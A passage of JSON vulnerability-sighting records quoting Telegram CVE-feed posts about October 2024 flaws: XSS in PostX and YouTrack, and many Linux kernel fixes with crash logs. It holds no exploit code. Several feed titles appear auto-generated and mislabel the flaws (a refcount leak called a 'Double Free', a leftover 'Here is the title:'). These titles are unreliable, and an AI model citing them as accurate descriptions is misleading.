"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50443", "type": "seen", "source": "https://t.me/cvedetector/9130", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50443 - PostX WPXPO Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50443 \nPublished : Oct. 28, 2024, 2:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Post Grid Team by WPXPO PostX allows Stored XSS.This issue affects PostX: from n/a through 4.1.12. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T16:09:56.000000Z"}, {"uuid": "5b714f73-4ae4-4f9f-a3a8-47809925f07b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50577", "type": "seen", "source": "https://t.me/cvedetector/9116", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50577 - JetBrains YouTrack Angular Template Injection Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50577 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : In JetBrains YouTrack before 2024.3.47707 stored XSS was possible via Angular template injection in Hub settings \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:30.000000Z"}, {"uuid": "ff868c7f-1d30-440a-aa75-8f0fbf546fb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50055", "type": "seen", "source": "https://t.me/cvedetector/8567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50055 - Linux Kernel Double Free in Driver Core Bus Register\", \n  \"Content\": \"CVE ID : CVE-2024-50055 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndriver core: bus: Fix double free in driver API bus_register()  \n  \nFor bus_register(), any error which happens after kset_register() will  \ncause that @priv are freed twice, fixed by setting @priv with NULL after  \nthe first free. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:56.000000Z"}, {"uuid": "42dbba8a-763e-48e1-9d59-9c7061a90a4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50041", "type": "seen", "source": "https://t.me/cvedetector/8566", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50041 - i40e Linux Kernel Macvlan Concurrency Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50041 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ni40e: Fix macvlan leak by synchronizing access to mac_filter_hash  \n  \nThis patch addresses a macvlan leak issue in the i40e driver caused by  \nconcurrent access to vsi->mac_filter_hash. The leak occurs when multiple  \nthreads attempt to modify the mac_filter_hash simultaneously, leading to  \ninconsistent state and potential memory leaks.  \n  \nTo fix this, we now wrap the calls to i40e_del_mac_filter() and zeroing  \nvf->default_lan_addr.addr with spin_lock/unlock_bh(&vsi->mac_filter_hash_lock),  \nensuring atomic operations and preventing concurrent access.  \n  \nAdditionally, we add lockdep_assert_held(&vsi->mac_filter_hash_lock) in  \ni40e_add_mac_filter() to help catch similar issues in the future.  \n  \nReproduction steps:  \n1. Spawn VFs and configure port vlan on them.  \n2. Trigger concurrent macvlan operations (e.g., adding and deleting  \n portvlan and/or mac filters).  \n3. Observe the potential memory leak and inconsistent state in the  \n mac_filter_hash.  \n  \nThis synchronization ensures the integrity of the mac_filter_hash and prevents  \nthe described leak. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:55.000000Z"}, {"uuid": "cbd82a66-d831-4997-a746-0835f36d0ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50056", "type": "seen", "source": "https://t.me/cvedetector/8565", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50056 - Linux USB UVC Device err_ptr Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50056 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nusb: gadget: uvc: Fix ERR_PTR dereference in uvc_v4l2.c  \n  \nFix potential dereferencing of ERR_PTR() in find_format_by_pix()  \nand uvc_v4l2_enum_format().  \n  \nFix the following smatch errors:  \n  \ndrivers/usb/gadget/function/uvc_v4l2.c:124 find_format_by_pix()  \nerror: 'fmtdesc' dereferencing possible ERR_PTR()  \n  \ndrivers/usb/gadget/function/uvc_v4l2.c:392 uvc_v4l2_enum_format()  \nerror: 'fmtdesc' dereferencing possible ERR_PTR()  \n  \nAlso, fix similar issue in uvc_v4l2_try_format() for potential  \ndereferencing of ERR_PTR(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:18.000000Z"}, {"uuid": "42da16b7-8a5c-407a-a648-c3b1c167b3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50043", "type": "seen", "source": "https://t.me/cvedetector/8564", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50043 - Linux Kernel - NFSd Use-After-Free/Refcount Underflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50043 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnfsd: fix possible badness in FREE_STATEID  \n  \nWhen multiple FREE_STATEIDs are sent for the same delegation stateid,  \nit can lead to a possible either use-after-free or counter refcount  \nunderflow errors.  \n  \nIn nfsd4_free_stateid() under the client lock we find a delegation  \nstateid, however the code drops the lock before calling nfs4_put_stid(),  \nthat allows another FREE_STATE to find the stateid again. The first one  \nwill proceed to then free the stateid which leads to either  \nuse-after-free or decrementing already zeroed counter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:18.000000Z"}, {"uuid": "c1921320-d292-4f93-b0e3-2f91ee752ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50013", "type": "seen", "source": "https://t.me/cvedetector/8536", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50013 - Linux Kernel Exfat Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50013 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nexfat: fix memory leak in exfat_load_bitmap()  \n  \nIf the first directory entry in the root directory is not a bitmap  \ndirectory entry, 'bh' will not be released and reassigned, which  \nwill cause a memory leak. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:42.000000Z"}, {"uuid": "c59759ab-2615-4e85-ab0e-c1db4784441d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50012", "type": "seen", "source": "https://t.me/cvedetector/8535", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50012 - Linux Kernel cpufreq Unknown Hardware Node Reference Count Double Free\", \n  \"Content\": \"CVE ID : CVE-2024-50012 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ncpufreq: Avoid a bad reference count on CPU node  \n  \nIn the parse_perf_domain function, if the call to  \nof_parse_phandle_with_args returns an error, then the reference to the  \nCPU device node that was acquired at the start of the function would not  \nbe properly decremented.  \n  \nAddress this by declaring the variable with the __free(device_node)  \ncleanup attribute. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:38.000000Z"}, {"uuid": "3edeb8e9-5015-451f-8570-05d64ea7b18f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50011", "type": "seen", "source": "https://t.me/cvedetector/8534", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50011 - \"SOC Intel Linux Kernel Stack Buffer Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50011 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nASoC: Intel: soc-acpi-intel-rpl-match: add missing empty item  \n  \nThere is no links_num in struct snd_soc_acpi_mach {}, and we test  \n!link->num_adr as a condition to end the loop in hda_sdw_machine_select().  \nSo an empty item in struct snd_soc_acpi_link_adr array is required. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:37.000000Z"}, {"uuid": "09495f55-5e63-44fa-add8-90c13add78bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50010", "type": "seen", "source": "https://t.me/cvedetector/8533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50010 - Linux Kernel exec Vulnerability: Unintended Noexec Flag Racial Condition\", \n  \"Content\": \"CVE ID : CVE-2024-50010 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nexec: don't WARN for racy path_noexec check  \n  \nBoth i_mode and noexec checks wrapped in WARN_ON stem from an artifact  \nof the previous implementation. They used to legitimately check for the  \ncondition, but that got moved up in two commits:  \n633fb6ac3980 (\"exec: move S_ISREG() check earlier\")  \n0fd338b2d2cd (\"exec: move path_noexec() check earlier\")  \n  \nInstead of being removed said checks are WARN_ON'ed instead, which  \nhas some debug value.  \n  \nHowever, the spurious path_noexec check is racy, resulting in  \nunwarranted warnings should someone race with setting the noexec flag.  \n  \nOne can note there is more to perm-checking whether execve is allowed  \nand none of the conditions are guaranteed to still hold after they were  \ntested for.  \n  \nAdditionally this does not validate whether the code path did any perm  \nchecking to begin with -- it will pass if the inode happens to be  \nregular.  \n  \nKeep the redundant path_noexec() check even though it's mindless  \nnonsense checking for guarantee that isn't given so drop the WARN.  \n  \nReword the commentary and do small tidy ups while here.  \n  \n[brauner: keep redundant path_noexec() check] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:36.000000Z"}, {"uuid": "d132bbdf-80a2-46fb-a674-193e9f4c3fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50009", "type": "seen", "source": "https://t.me/cvedetector/8532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50009 - \"AMD-pstate NULL Pointer Dereference Vulnerability in Linux Kernel\"\", \n  \"Content\": \"CVE ID : CVE-2024-50009 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ncpufreq: amd-pstate: add check for cpufreq_cpu_get's return value  \n  \ncpufreq_cpu_get may return NULL. To avoid NULL-dereference check it  \nand return in case of error.  \n  \nFound by Linux Verification Center (linuxtesting.org) with SVACE. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:36.000000Z"}, {"uuid": "8a64f055-78c8-41a7-8e64-848bd803cf0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50008", "type": "seen", "source": "https://t.me/cvedetector/8531", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50008 - Linux Mwifiex Array Oversize Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50008 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nwifi: mwifiex: Fix memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext()  \n  \nReplace one-element array with a flexible-array member in  \n`struct host_cmd_ds_802_11_scan_ext`.  \n  \nWith this, fix the following warning:  \n  \nelo 16 17:51:58 surfacebook kernel: ------------[ cut here ]------------  \nelo 16 17:51:58 surfacebook kernel: memcpy: detected field-spanning write (size 243) of single field \"ext_scan->tlv_buffer\" at drivers/net/wireless/marvell/mwifiex/scan.c:2239 (size 1)  \nelo 16 17:51:58 surfacebook kernel: WARNING: CPU: 0 PID: 498 at drivers/net/wireless/marvell/mwifiex/scan.c:2239 mwifiex_cmd_802_11_scan_ext+0x83/0x90 [mwifiex] \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:35.000000Z"}, {"uuid": "e9b6d14d-62c1-4e75-822e-c75ab2d4f9f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50044", "type": "seen", "source": "https://t.me/cvedetector/8563", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50044 - Linux Bluetooth RFCOMM Deadlock Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50044 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: RFCOMM: FIX possible deadlock in rfcomm_sk_state_change  \n  \nrfcomm_sk_state_change attempts to use sock_lock so it must never be  \ncalled with it locked but rfcomm_sock_ioctl always attempt to lock it  \ncausing the following trace:  \n  \n======================================================  \nWARNING: possible circular locking dependency detected  \n6.8.0-syzkaller-08951-gfe46a7dd189e #0 Not tainted  \n------------------------------------------------------  \nsyz-executor386/5093 is trying to acquire lock:  \nffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1671 [inline]  \nffff88807c396258 (sk_lock-AF_BLUETOOTH-BTPROTO_RFCOMM){+.+.}-{0:0}, at: rfcomm_sk_state_change+0x5b/0x310 net/bluetooth/rfcomm/sock.c:73  \n  \nbut task is already holding lock:  \nffff88807badfd28 (&d->lock){+.+.}-{3:3}, at: __rfcomm_dlc_close+0x226/0x6a0 net/bluetooth/rfcomm/core.c:491 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:17.000000Z"}, {"uuid": "58bc6545-72ff-44a1-80e5-9f984f7d359e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50049", "type": "seen", "source": "https://t.me/cvedetector/8558", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50049 - AMD Display Kernel NULL Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-50049 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amd/display: Check null pointer before dereferencing se  \n  \n[WHAT & HOW]  \nse is null checked previously in the same function, indicating  \nit might be null; therefore, it must be checked when used again.  \n  \nThis fixes 1 FORWARD_NULL issue reported by Coverity. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:10.000000Z"}, {"uuid": "ed36c756-ecdc-43f3-90c2-28456b5f899f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50047", "type": "seen", "source": "https://t.me/cvedetector/8557", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50047 - CIFS File System Async Decryption UAF\", \n  \"Content\": \"CVE ID : CVE-2024-50047 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nsmb: client: fix UAF in async decryption  \n  \nDoing an async decryption (large read) crashes with a  \nslab-use-after-free way down in the crypto API.  \n  \nReproducer:  \n    # mount.cifs -o ...,seal,esize=1 //srv/share /mnt  \n    # dd if=/mnt/largefile of=/dev/null  \n    ...  \n    [  194.196391] ==================================================================  \n    [  194.196844] BUG: KASAN: slab-use-after-free in gf128mul_4k_lle+0xc1/0x110  \n    [  194.197269] Read of size 8 at addr ffff888112bd0448 by task kworker/u77:2/899  \n    [  194.197707]  \n    [  194.197818] CPU: 12 UID: 0 PID: 899 Comm: kworker/u77:2 Not tainted 6.11.0-lku-00028-gfca3ca14a17a-dirty #43  \n    [  194.198400] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.2-3-gd478f380-prebuilt.qemu.org 04/01/2014  \n    [  194.199046] Workqueue: smb3decryptd smb2_decrypt_offload [cifs]  \n    [  194.200032] Call Trace:  \n    [  194.200191]    \n    [  194.200327]  dump_stack_lvl+0x4e/0x70  \n    [  194.200558]  ? gf128mul_4k_lle+0xc1/0x110  \n    [  194.200809]  print_report+0x174/0x505  \n    [  194.201040]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10  \n    [  194.201352]  ? srso_return_thunk+0x5/0x5f  \n    [  194.201604]  ? __virt_addr_valid+0xdf/0x1c0  \n    [  194.201868]  ? gf128mul_4k_lle+0xc1/0x110  \n    [  194.202128]  kasan_report+0xc8/0x150  \n    [  194.202361]  ? gf128mul_4k_lle+0xc1/0x110  \n    [  194.202616]  gf128mul_4k_lle+0xc1/0x110  \n    [  194.202863]  ghash_update+0x184/0x210  \n    [  194.203103]  shash_ahash_update+0x184/0x2a0  \n    [  194.203377]  ? __pfx_shash_ahash_update+0x10/0x10  \n    [  194.203651]  ? srso_return_thunk+0x5/0x5f  \n    [  194.203877]  ? crypto_gcm_init_common+0x1ba/0x340  \n    [  194.204142]  gcm_hash_assoc_remain_continue+0x10a/0x140  \n    [  194.204434]  crypt_message+0xec1/0x10a0 [cifs]  \n    [  194.206489]  ? __pfx_crypt_message+0x10/0x10 [cifs]  \n    [  194.208507]  ? srso_return_thunk+0x5/0x5f  \n    [  194.209205]  ? srso_return_thunk+0x5/0x5f  \n    [  194.209925]  ? srso_return_thunk+0x5/0x5f  \n    [  194.210443]  ? srso_return_thunk+0x5/0x5f  \n    [  194.211037]  decrypt_raw_data+0x15f/0x250 [cifs]  \n    [  194.212906]  ? __pfx_decrypt_raw_data+0x10/0x10 [cifs]  \n    [  194.214670]  ? srso_return_thunk+0x5/0x5f  \n    [  194.215193]  smb2_decrypt_offload+0x12a/0x6c0 [cifs]  \n  \nThis is because TFM is being used in parallel.  \n  \nFix this by allocating a new AEAD TFM for async decryption, but keep  \nthe existing one for synchronous READ cases (similar to what is done  \nin smb3_calc_signature()).  \n  \nAlso remove the calls to aead_request_set_callback() and  \ncrypto_wait_req() since it's always going to be a synchronous operation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:10.000000Z"}, {"uuid": "4c0b6003-527b-420f-be8b-4eb5b4c93790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50046", "type": "seen", "source": "https://t.me/cvedetector/8555", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50046 - Here is the title: Linux NFSv4 NULL Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50046 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nNFSv4: Prevent NULL-pointer dereference in nfs42_complete_copies()  \n  \nOn the node of an NFS client, some files saved in the mountpoint of the  \nNFS server were copied to another location of the same NFS server.  \nAccidentally, the nfs42_complete_copies() got a NULL-pointer dereference  \ncrash with the following syslog:  \n  \n[232064.838881] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116  \n[232064.839360] NFSv4: state recovery failed for open file nfs/pvc-12b5200d-cd0f-46a3-b9f0-af8f4fe0ef64.qcow2, error = -116  \n[232066.588183] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000058  \n[232066.588586] Mem abort info:  \n[232066.588701]   ESR = 0x0000000096000007  \n[232066.588862]   EC = 0x25: DABT (current EL), IL = 32 bits  \n[232066.589084]   SET = 0, FnV = 0  \n[232066.589216]   EA = 0, S1PTW = 0  \n[232066.589340]   FSC = 0x07: level 3 translation fault  \n[232066.589559] Data abort info:  \n[232066.589683]   ISV = 0, ISS = 0x00000007  \n[232066.589842]   CM = 0, WnR = 0  \n[232066.589967] user pgtable: 64k pages, 48-bit VAs, pgdp=00002000956ff400  \n[232066.590231] [0000000000000058] pgd=08001100ae100003, p4d=08001100ae100003, pud=08001100ae100003, pmd=08001100b3c00003, pte=0000000000000000  \n[232066.590757] Internal error: Oops: 96000007 [#1] SMP  \n[232066.590958] Modules linked in: rpcsec_gss_krb5 auth_rpcgss nfsv4 dns_resolver nfs lockd grace fscache netfs ocfs2_dlmfs ocfs2_stack_o2cb ocfs2_dlm vhost_net vhost vhost_iotlb tap tun ipt_rpfilter xt_multiport ip_set_hash_ip ip_set_hash_net xfrm_interface xfrm6_tunnel tunnel4 tunnel6 esp4 ah4 wireguard libcurve25519_generic veth xt_addrtype xt_set nf_conntrack_netlink ip_set_hash_ipportnet ip_set_hash_ipportip ip_set_bitmap_port ip_set_hash_ipport dummy ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs iptable_filter sch_ingress nfnetlink_cttimeout vport_gre ip_gre ip_tunnel gre vport_geneve geneve vport_vxlan vxlan ip6_udp_tunnel udp_tunnel openvswitch nf_conncount dm_round_robin dm_service_time dm_multipath xt_nat xt_MASQUERADE nft_chain_nat nf_nat xt_mark xt_conntrack xt_comment nft_compat nft_counter nf_tables nfnetlink ocfs2 ocfs2_nodemanager ocfs2_stackglue iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ipmi_ssif nbd overlay 8021q garp mrp bonding tls rfkill sunrpc ext4 mbcache jbd2  \n[232066.591052]  vfat fat cas_cache cas_disk ses enclosure scsi_transport_sas sg acpi_ipmi ipmi_si ipmi_devintf ipmi_msghandler ip_tables vfio_pci vfio_pci_core vfio_virqfd vfio_iommu_type1 vfio dm_mirror dm_region_hash dm_log dm_mod nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 br_netfilter bridge stp llc fuse xfs libcrc32c ast drm_vram_helper qla2xxx drm_kms_helper syscopyarea crct10dif_ce sysfillrect ghash_ce sysimgblt sha2_ce fb_sys_fops cec sha256_arm64 sha1_ce drm_ttm_helper ttm nvme_fc igb sbsa_gwdt nvme_fabrics drm nvme_core i2c_algo_bit i40e scsi_transport_fc megaraid_sas aes_neon_bs  \n[232066.596953] CPU: 6 PID: 4124696 Comm: 10.253.166.125- Kdump: loaded Not tainted 5.15.131-9.cl9_ocfs2.aarch64 #1  \n[232066.597356] Hardware name: Great Wall .\\x93\\x8e...RF6260 V5/GWMSSE2GL1T, BIOS T656FBE_V3.0.18 2024-01-06  \n[232066.597721] pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)  \n[232066.598034] pc : nfs4_reclaim_open_state+0x220/0x800 [nfsv4]  \n[232066.598327] lr : nfs4_reclaim_open_state+0x12c/0x800 [nfsv4]  \n[232066.598595] sp : ffff8000f568fc70  \n[232066.598731] x29: ffff8000f568fc70 x28: 0000000000001000 x27: ffff21003db33000  \n[232066.599030] x26: ffff800005521ae0 x25: ffff0100f98fa3f0 x24: 0000000000000001  \n[232066.599319] x23: ffff800009920008 x22: ffff21003db33040 x21: ffff21003db33050  \n[232066.599628] x20: ffff410172fe9e40 x19[...]", "creation_timestamp": "2024-10-21T22:43:05.000000Z"}, {"uuid": "cb7af37f-655e-4491-a363-6135d6d99484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50045", "type": "seen", "source": "https://t.me/cvedetector/8553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50045 - Linux kernel VXLAN br_netfilter Panic Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50045 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: br_netfilter: fix panic with metadata_dst skb  \n  \nFix a kernel panic in the br_netfilter module when sending untagged  \ntraffic via a VxLAN device.  \nThis happens during the check for fragmentation in br_nf_dev_queue_xmit.  \n  \nIt is dependent on:  \n1) the br_netfilter module being loaded;  \n2) net.bridge.bridge-nf-call-iptables set to 1;  \n3) a bridge with a VxLAN (single-vxlan-device) netdevice as a bridge port;  \n4) untagged frames with size higher than the VxLAN MTU forwarded/flooded  \n  \nWhen forwarding the untagged packet to the VxLAN bridge port, before  \nthe netfilter hooks are called, br_handle_egress_vlan_tunnel is called and  \nchanges the skb_dst to the tunnel dst. The tunnel_dst is a metadata type  \nof dst, i.e., skb_valid_dst(skb) is false, and metadata->dst.dev is NULL.  \n  \nThen in the br_netfilter hooks, in br_nf_dev_queue_xmit, there's a check  \nfor frames that needs to be fragmented: frames with higher MTU than the  \nVxLAN device end up calling br_nf_ip_fragment, which in turns call  \nip_skb_dst_mtu.  \n  \nThe ip_dst_mtu tries to use the skb_dst(skb) as if it was a valid dst  \nwith valid dst->dev, thus the crash.  \n  \nThis case was never supported in the first place, so drop the packet  \ninstead.  \n  \nPING 10.0.0.2 (10.0.0.2) from 0.0.0.0 h1-eth0: 2000(2028) 